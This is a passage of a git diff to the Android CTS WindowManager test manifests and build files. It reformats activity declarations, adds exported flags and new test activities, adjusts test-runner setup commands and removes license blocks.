 
-        <activity android:name="android.server.wm.MultiDisplayClientTests$ClientTestActivity" />
+        <activity android:name="android.server.wm.MultiDisplayClientTests$ClientTestActivity"/>
         <activity android:name="android.server.wm.MultiDisplayClientTests$NoRelaunchActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
-        />
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
 
-        <activity android:name="android.server.wm.KeyguardLockedTests$ShowImeAfterLockscreenActivity" />
-
-        <activity android:name="android.server.wm.KeyguardLockedTests$ShowWhenLockedImeActivity" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$StandardActivity"
-                  android:exported="true" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SecondStandardActivity"
-                  android:exported="true" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$StandardWithSingleTopActivity"
-                  android:exported="true" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SingleTopActivity"
-                  android:launchMode="singleTop"
-                  android:exported="true" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SingleInstanceActivity"
-                  android:launchMode="singleInstance"
-                  android:exported="true" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SingleTaskActivity"
-                  android:launchMode="singleTask"
-                  android:exported="true" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$TestLaunchingActivity"
-                  android:taskAffinity="nobody.but.LaunchingActivity"
-                  android:exported="true" />
-
-        <activity
-            android:name="android.server.wm.lifecycle.ActivityStarterTests$LaunchingAndFinishActivity"
-            android:taskAffinity="nobody.but.LaunchingActivity"
-            android:exported="true"/>
-
-        <activity android:name="android.server.wm.ActivityViewTest$ActivityViewTestActivity"
-                  android:configChanges="keyboardHidden"
+        <activity android:name="android.server.wm.HideOverlayWindowsTest$SystemWindowActivity"
+                  android:process=":swa"
+                  android:exported="true"/>
+        <activity android:name="android.server.wm.HideOverlayWindowsTest$InternalSystemWindowActivity"
+                  android:process=":iswa"
+                  android:exported="true"/>
+        <activity android:name="android.server.wm.HideOverlayWindowsTest$SystemApplicationOverlayActivity"
+                  android:process=":saoa"
                   android:exported="true"/>
 
-        <provider
-            android:name="android.server.wm.TestJournalProvider"
-            android:authorities="android.server.wm.testjournalprovider"
-            android:exported="true" />
+        <activity android:name="android.server.wm.KeyguardLockedTests$ShowImeAfterLockscreenActivity"/>
+
+        <activity android:name="android.server.wm.KeyguardLockedTests$ShowWhenLockedImeActivity"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$StandardActivity"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SecondStandardActivity"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$StandardWithSingleTopActivity"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SingleTopActivity"
+             android:launchMode="singleTop"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SingleInstanceActivity"
+             android:launchMode="singleInstance"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SingleTaskActivity"
+             android:launchMode="singleTask"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$TestLaunchingActivity"
+             android:taskAffinity="nobody.but.LaunchingActivity"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$LaunchingAndFinishActivity"
+             android:taskAffinity="nobody.but.LaunchingActivity"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$ClearTaskOnLaunchActivity"
+                  android:clearTaskOnLaunch="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$FinishOnTaskLaunchActivity"
+                  android:finishOnTaskLaunch="true"
+                  android:exported="true"/>
+
+        <activity android:name="android.server.wm.ActivityViewTest$ActivityViewTestActivity"
+             android:configChanges="keyboardHidden"
+             android:exported="true"/>
+
+        <provider android:name="android.server.wm.TestJournalProvider"
+             android:authorities="android.server.wm.testjournalprovider"
+             android:exported="true"/>
 
         <!--intent tests-->
         <activity android:name="android.server.wm.intent.Activities$RegularActivity"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$SingleTopActivity"
-            android:launchMode="singleTop"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$SingleInstanceActivity"
-            android:launchMode="singleInstance"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$SingleInstanceActivity2"
-            android:launchMode="singleInstance"
-            android:taskAffinity=".t1"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$SingleTaskActivity"
-            android:launchMode="singleTask"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$SingleTaskActivity2"
-            android:launchMode="singleTask"
-            android:taskAffinity=".t1"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$TaskAffinity1Activity"
-            android:allowTaskReparenting="true"
-            android:launchMode="standard"
-            android:taskAffinity=".t1"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$TaskAffinity1Activity2"
-            android:allowTaskReparenting="true"
-            android:launchMode="standard"
-            android:taskAffinity=".t1"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity"
-            android:relinquishTaskIdentity="true"
-            android:taskAffinity=".t1"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$TaskAffinity2Activity"
-            android:allowTaskReparenting="true"
-            android:launchMode="standard"
-            android:taskAffinity=".t2"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$TaskAffinity3Activity"
-            android:allowTaskReparenting="true"
-            android:launchMode="standard"
-            android:taskAffinity=".t3"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$ClearTaskOnLaunchActivity"
-            android:allowTaskReparenting="true"
-            android:clearTaskOnLaunch="true"
-            android:launchMode="standard"
-            android:taskAffinity=".t2"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$DocumentLaunchIntoActivity"
-            android:documentLaunchMode="intoExisting"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$DocumentLaunchAlwaysActivity"
-            android:documentLaunchMode="always"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$DocumentLaunchNeverActivity"
-            android:documentLaunchMode="never"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$NoHistoryActivity"
-            android:noHistory="true"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$LauncherActivity"
-            android:documentLaunchMode="always"
-            android:launchMode="singleInstance"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$RelinquishTaskIdentityActivity"
-            android:relinquishTaskIdentity="true"/>
+        <activity android:name="android.server.wm.intent.Activities$SingleTopActivity"
+             android:launchMode="singleTop"/>
+        <activity android:name="android.server.wm.intent.Activities$SingleInstanceActivity"
+             android:launchMode="singleInstance"/>
+        <activity android:name="android.server.wm.intent.Activities$SingleInstanceActivity2"
+             android:launchMode="singleInstance"
+             android:taskAffinity=".t1"/>
+        <activity android:name="android.server.wm.intent.Activities$SingleTaskActivity"
+             android:launchMode="singleTask"/>
+        <activity android:name="android.server.wm.intent.Activities$SingleTaskActivity2"
+             android:launchMode="singleTask"
+             android:taskAffinity=".t1"/>
+        <activity android:name="android.server.wm.intent.Activities$TaskAffinity1Activity"
+             android:allowTaskReparenting="true"
+             android:launchMode="standard"
+             android:taskAffinity=".t1"/>
+        <activity android:name="android.server.wm.intent.Activities$TaskAffinity1Activity2"
+             android:allowTaskReparenting="true"
+             android:launchMode="standard"
+             android:taskAffinity=".t1"/>
+        <activity android:name="android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity"
+             android:relinquishTaskIdentity="true"
+             android:taskAffinity=".t1"/>
+        <activity android:name="android.server.wm.intent.Activities$TaskAffinity2Activity"
+             android:allowTaskReparenting="true"
+             android:launchMode="standard"
+             android:taskAffinity=".t2"/>
+        <activity android:name="android.server.wm.intent.Activities$TaskAffinity3Activity"
+             android:allowTaskReparenting="true"
+             android:launchMode="standard"
+             android:taskAffinity=".t3"/>
+        <activity android:name="android.server.wm.intent.Activities$ClearTaskOnLaunchActivity"
+             android:allowTaskReparenting="true"
+             android:clearTaskOnLaunch="true"
+             android:launchMode="standard"
+             android:taskAffinity=".t2"/>
+        <activity android:name="android.server.wm.intent.Activities$DocumentLaunchIntoActivity"
+             android:documentLaunchMode="intoExisting"/>
+        <activity android:name="android.server.wm.intent.Activities$DocumentLaunchAlwaysActivity"
+             android:documentLaunchMode="always"/>
+        <activity android:name="android.server.wm.intent.Activities$DocumentLaunchNeverActivity"
+             android:documentLaunchMode="never"/>
+        <activity android:name="android.server.wm.intent.Activities$NoHistoryActivity"
+             android:noHistory="true"/>
+        <activity android:name="android.server.wm.intent.Activities$LauncherActivity"
+             android:documentLaunchMode="always"
+             android:launchMode="singleInstance"/>
+        <activity android:name="android.server.wm.intent.Activities$RelinquishTaskIdentityActivity"
+             android:relinquishTaskIdentity="true"/>
 
-        <service
-            android:name="android.server.wm.TestLogService"
-            android:enabled="true"
-            android:exported="true">
+        <service android:name="android.server.wm.TestLogService"
+             android:enabled="true"
+             android:exported="true">
         </service>
 
         <activity android:name="android.server.wm.AlertWindowsAppOpsTestsActivity"/>
@@ -313,123 +301,148 @@
                   android:showWhenLocked="true"/>
 
         <activity android:name="android.server.wm.WindowInsetsAnimationSynchronicityTests$TestActivity"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"/>
-        <service
-            android:name="android.server.wm.WindowInsetsAnimationSynchronicityTests$SimpleIme"
-            android:label="Simple IME"
-            android:permission="android.permission.BIND_INPUT_METHOD">
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"/>
+        <service android:name="android.server.wm.WindowInsetsAnimationSynchronicityTests$SimpleIme"
+             android:label="Simple IME"
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.view.InputMethod" />
+                <action android:name="android.view.InputMethod"/>
             </intent-filter>
-            <meta-data
-                android:name="android.view.im"
-                android:resource="@xml/simple_method" />
+            <meta-data android:name="android.view.im"
+                 android:resource="@xml/simple_method"/>
         </service>
 
         <activity android:name="android.server.wm.KeyEventActivity"
-                  android:exported="true"
-                  android:configChanges="orientation|screenLayout"
-                  android:showWhenLocked="true"
-        />
+             android:exported="true"
+             android:configChanges="orientation|screenLayout"
+             android:showWhenLocked="true"/>
         <activity android:name="android.server.wm.WindowInsetsPolicyTest$TestActivity"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"/>
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"/>
         <activity android:name="android.server.wm.WindowInsetsPolicyTest$FullscreenTestActivity"/>
         <activity android:name="android.server.wm.WindowInsetsPolicyTest$FullscreenWmFlagsTestActivity"/>
         <activity android:name="android.server.wm.WindowInsetsPolicyTest$ImmersiveFullscreenTestActivity"
-                  android:documentLaunchMode="always"
-                  android:theme="@style/no_animation" />
+             android:documentLaunchMode="always"
+             android:theme="@style/no_animation"/>
         <activity android:name="android.server.wm.LayoutTests$TestActivity"
-                  android:theme="@style/no_animation" />
+             android:theme="@style/no_animation"/>
         <activity android:name="android.server.wm.LocationOnScreenTests$TestActivity"
-                  android:theme="@style/no_starting_window" />
-        <activity android:name="android.server.wm.LocationInWindowTests$TestActivity" />
+             android:theme="@style/no_starting_window"/>
+        <activity android:name="android.server.wm.LocationInWindowTests$TestActivity"/>
         <activity android:name="android.server.wm.EnsureBarContrastTest$TestActivity"
-                  android:theme="@style/no_starting_window" />
-        <activity android:name="android.server.wm.WindowFocusTests$PrimaryActivity" />
+             android:theme="@style/no_starting_window"/>
+        <activity android:name="android.server.wm.WindowFocusTests$PrimaryActivity"/>
         <activity android:name="android.server.wm.WindowFocusTests$SecondaryActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density" />
-        <activity android:name="android.server.wm.WindowFocusTests$LosingFocusActivity" />
-        <activity android:name="android.server.wm.WindowMetricsTests$MetricsActivity"
-                  android:exported="true" />
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"/>
+        <activity android:name="android.server.wm.WindowFocusTests$LosingFocusActivity"/>
+        <activity android:name="android.server.wm.WindowFocusTests$AutoEngagePointerCaptureActivity" />
+        <activity android:name="android.server.wm.WindowMetricsActivityTests$MetricsActivity"
+             android:exported="true"
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
         <activity android:name="android.app.Activity"/>
-        <activity android:name="android.server.wm.WindowInsetsLayoutTests$TestActivity" />
-        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestActivity" />
-        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestHideOnCreateActivity" />
-        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestShowOnCreateActivity" />
+        <activity android:name="android.server.wm.WindowInsetsLayoutTests$TestActivity"/>
+        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestActivity"/>
+        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestHideOnCreateActivity"/>
+        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestShowOnCreateActivity"/>
 
         <activity android:name="android.server.wm.DragDropTest$DragDropActivity"
-                  android:screenOrientation="locked"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"
-                  android:label="DragDropActivity">
+             android:screenOrientation="locked"
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"
+             android:label="DragDropActivity"
+             android:hardwareAccelerated="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name="android.server.wm.DecorInsetTestsBase$TestActivity"
-            android:label="DecorInsetTestsBase.TestActivity"
-            android:exported="true" />
+        <activity android:name="android.server.wm.DragDropTest$SoftwareCanvasDragDropActivity"
+            android:screenOrientation="locked"
+            android:turnScreenOn="true"
+            android:showWhenLocked="true"
+            android:label="DragDropTest$SoftwareCanvasDragDropActivity"
+            android:hardwareAccelerated="false"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.server.wm.DecorInsetTestsBase$TestActivity"
+             android:label="DecorInsetTestsBase.TestActivity"
+             android:exported="true"/>
 
         <activity android:name="android.server.wm.WindowCtsActivity"
-                  android:theme="@android:style/Theme.Material.NoActionBar"
-                  android:screenOrientation="locked"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"
-                  android:configChanges="orientation|screenSize|screenLayout|keyboardHidden"
-                  android:label="WindowCtsActivity">
+             android:theme="@android:style/Theme.Material.NoActionBar"
+             android:screenOrientation="locked"
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"
+             android:label="WindowCtsActivity"
+             android:configChanges="orientation|screenSize|screenLayout|keyboardHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.server.wm.SurfaceViewCtsActivity"
-                  android:screenOrientation="locked"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"
-                  android:label="SurfaceViewCtsActivity">
+             android:screenOrientation="locked"
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"
+             android:label="SurfaceViewCtsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.view.cts.surfacevalidator.CapturedActivity"
-                  android:screenOrientation="locked"
-                  android:theme="@style/WhiteBackgroundTheme">
+             android:screenOrientation="locked"
+             android:theme="@style/WhiteBackgroundTheme"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.server.wm.WindowInputTests$TestActivity" />
 
         <service android:name="android.view.cts.surfacevalidator.LocalMediaProjectionService"
-                 android:foregroundServiceType="mediaProjection"
-                 android:enabled="true">
+             android:foregroundServiceType="mediaProjection"
+             android:enabled="true">
         </service>
 
         <activity android:name="android.server.wm.StartActivityAsUserActivity"
-                  android:directBootAware="true"/>
+             android:directBootAware="true"/>
 
         <activity android:name="android.server.wm.WindowInsetsAnimationTestBase$TestActivity"
-                  android:theme="@android:style/Theme.Material.NoActionBar" />
+             android:theme="@android:style/Theme.Material.NoActionBar"/>
 
         <activity android:name="android.server.wm.ForceRelayoutTestBase$TestActivity"
-                  android:exported="true" />
+             android:exported="true"/>
 
         <activity android:name="android.server.wm.ActivityTransitionTests$LauncherActivity"/>
 
         <activity android:name="android.server.wm.ActivityTransitionTests$TransitionActivity"/>
+
+        <activity android:name="android.server.wm.WindowUntrustedTouchTest$TestActivity"
+                  android:exported="true"/>
+
+        <activity android:name="android.server.wm.DisplayHashManagerTest$TestActivity"
+                   android:exported="true"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.server.wm.cts"
-                     android:label="CTS tests of WindowManager">
+         android:targetPackage="android.server.wm.cts"
+         android:label="CTS tests of WindowManager">
     </instrumentation>
 
 </manifest>
diff --git a/tests/framework/base/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
index 247a7ce..2651f7d 100644
--- a/tests/framework/base/windowmanager/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -19,7 +19,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck"/>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
         <option name="test-file-name" value="CtsWindowManagerDeviceTestCases.apk"/>
@@ -60,6 +59,8 @@
       <!-- Disable hidden API checking, see b/166236554 -->
         <option name="run-command" value="settings put global hidden_api_policy 1" />
         <option name="teardown-command" value="settings delete global hidden_api_policy" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.app"  />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.app" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest">
diff --git a/tests/framework/base/windowmanager/alertwindowapp/Android.bp b/tests/framework/base/windowmanager/alertwindowapp/Android.bp
index 6a3ecc7..f264f40 100644
--- a/tests/framework/base/windowmanager/alertwindowapp/Android.bp
+++ b/tests/framework/base/windowmanager/alertwindowapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeviceAlertWindowTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp b/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp
index 9fbd5d1..62fa41c 100644
--- a/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp
+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "cts-wm-alertwindow-test-base",
     srcs: ["src/android/server/wm/alertwindowappsdk25/AlertWindowTestBaseActivity.java"],
diff --git a/tests/framework/base/windowmanager/alertwindowservice/Android.bp b/tests/framework/base/windowmanager/alertwindowservice/Android.bp
index 5000b89..82eeadb 100644
--- a/tests/framework/base/windowmanager/alertwindowservice/Android.bp
+++ b/tests/framework/base/windowmanager/alertwindowservice/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAlertWindowService",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/app/Android.bp b/tests/framework/base/windowmanager/app/Android.bp
index ce504cc..47d164b 100644
--- a/tests/framework/base/windowmanager/app/Android.bp
+++ b/tests/framework/base/windowmanager/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeviceServicesTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index c6ab9f2..3a9d550 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -16,350 +16,296 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
-          package="android.server.wm.app">
+     xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+     package="android.server.wm.app">
 
     <!-- virtual display test permissions -->
-    <uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
+    <uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <uses-permission android:name="android.permission.HIDE_OVERLAY_WINDOWS"/>
 
     <application android:debuggable="true">
         <activity android:name=".TestActivity"
-                android:resizeableActivity="true"
-                android:supportsPictureInPicture="true"
-                android:exported="true"
-        />
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="true"
+             android:exported="true"/>
         <activity android:name=".TestActivityWithSameAffinity"
-                android:resizeableActivity="true"
-                android:supportsPictureInPicture="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.PipActivitySameAffinity"
-        />
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="true"
+             android:exported="true"
+             android:taskAffinity="nobody.but.PipActivitySameAffinity"/>
         <activity android:name=".TranslucentTestActivity"
-                android:resizeableActivity="true"
-                android:supportsPictureInPicture="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                android:theme="@style/Theme.Transparent"
-                android:exported="true"
-        />
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:theme="@style/Theme.Transparent"
+             android:exported="true"/>
         <activity android:name=".VrTestActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"/>
         <activity-alias android:name=".AliasTestActivity"
-                  android:exported="true"
-                  android:targetActivity=".TestActivity"
-        />
+             android:exported="true"
+             android:targetActivity=".TestActivity"/>
         <activity android:name=".ResumeWhilePausingActivity"
-                android:allowEmbedded="true"
-                android:resumeWhilePausing="true"
-                android:taskAffinity=""
-                android:exported="true"
-        />
+             android:allowEmbedded="true"
+             android:resumeWhilePausing="true"
+             android:taskAffinity=""
+             android:exported="true"/>
         <activity android:name=".ResizeableActivity"
-                android:resizeableActivity="true"
-                android:allowEmbedded="true"
-                android:exported="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
-        />
+             android:resizeableActivity="true"
+             android:allowEmbedded="true"
+             android:exported="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
         <activity android:name=".NonResizeableActivity"
-                android:resizeableActivity="false"
-                android:exported="true"
-        />
+             android:resizeableActivity="false"
+             android:exported="true"/>
         <activity android:name=".DockedActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.DockedActivity"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"
+             android:taskAffinity="nobody.but.DockedActivity"/>
         <activity android:name=".TranslucentActivity"
-            android:theme="@android:style/Theme.Translucent.NoTitleBar"
-            android:resizeableActivity="true"
-            android:taskAffinity="nobody.but.TranslucentActivity"
-            android:exported="true"
-        />
+             android:theme="@android:style/Theme.Translucent.NoTitleBar"
+             android:resizeableActivity="true"
+             android:taskAffinity="nobody.but.TranslucentActivity"
+             android:exported="true"/>
         <activity android:name=".DialogWhenLargeActivity"
-                android:exported="true"
-                android:theme="@android:style/Theme.DeviceDefault.Light.DialogWhenLarge"
-        />
+             android:exported="true"
+             android:theme="@android:style/Theme.DeviceDefault.Light.DialogWhenLarge"/>
         <activity android:name=".NoRelaunchActivity"
-                android:resizeableActivity="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|fontScale|colorMode|density|touchscreen"
-                android:exported="true"
-                android:taskAffinity="nobody.but.NoRelaunchActivity"
-        />
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|fontScale|colorMode|density|touchscreen"
+             android:exported="true"
+             android:taskAffinity="nobody.but.NoRelaunchActivity"/>
         <activity android:name=".SlowCreateActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"/>
         <activity android:name=".LaunchingActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.LaunchingActivity"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"
+             android:taskAffinity="nobody.but.LaunchingActivity"/>
         <!--
-         * This activity should have same affinity as LaunchingActivity, because we're using it to
-         * check activities being launched into the same task.
-         -->
+                     * This activity should have same affinity as LaunchingActivity, because we're using it to
+                     * check activities being launched into the same task.
+                     -->
         <activity android:name=".AltLaunchingActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.LaunchingActivity"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"
+             android:taskAffinity="nobody.but.LaunchingActivity"/>
         <activity android:name=".PipActivity"
-                android:resizeableActivity="false"
-                android:supportsPictureInPicture="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                android:exported="true"
-                android:taskAffinity="nobody.but.PipActivity"
-        />
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"
+             android:taskAffinity="nobody.but.PipActivity"/>
         <activity android:name=".PipActivity2"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.PipActivity2"
-        />
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"
+             android:taskAffinity="nobody.but.PipActivity2"/>
         <activity android:name=".PipOnStopActivity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.PipOnStopActivity"
-        />
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"
+             android:taskAffinity="nobody.but.PipOnStopActivity"/>
         <activity android:name=".PipActivityWithSameAffinity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.PipActivitySameAffinity"
-        />
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"
+             android:taskAffinity="nobody.but.PipActivitySameAffinity"/>
         <activity android:name=".AlwaysFocusablePipActivity"
-                  android:theme="@style/Theme.Transparent"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  androidprv:alwaysFocusable="true"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.AlwaysFocusablePipActivity"
-        />
+             android:theme="@style/Theme.Transparent"
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             androidprv:alwaysFocusable="true"
+             android:exported="true"
+             android:taskAffinity="nobody.but.AlwaysFocusablePipActivity"/>
         <activity android:name=".LaunchIntoPinnedStackPipActivity"
-                  android:resizeableActivity="false"
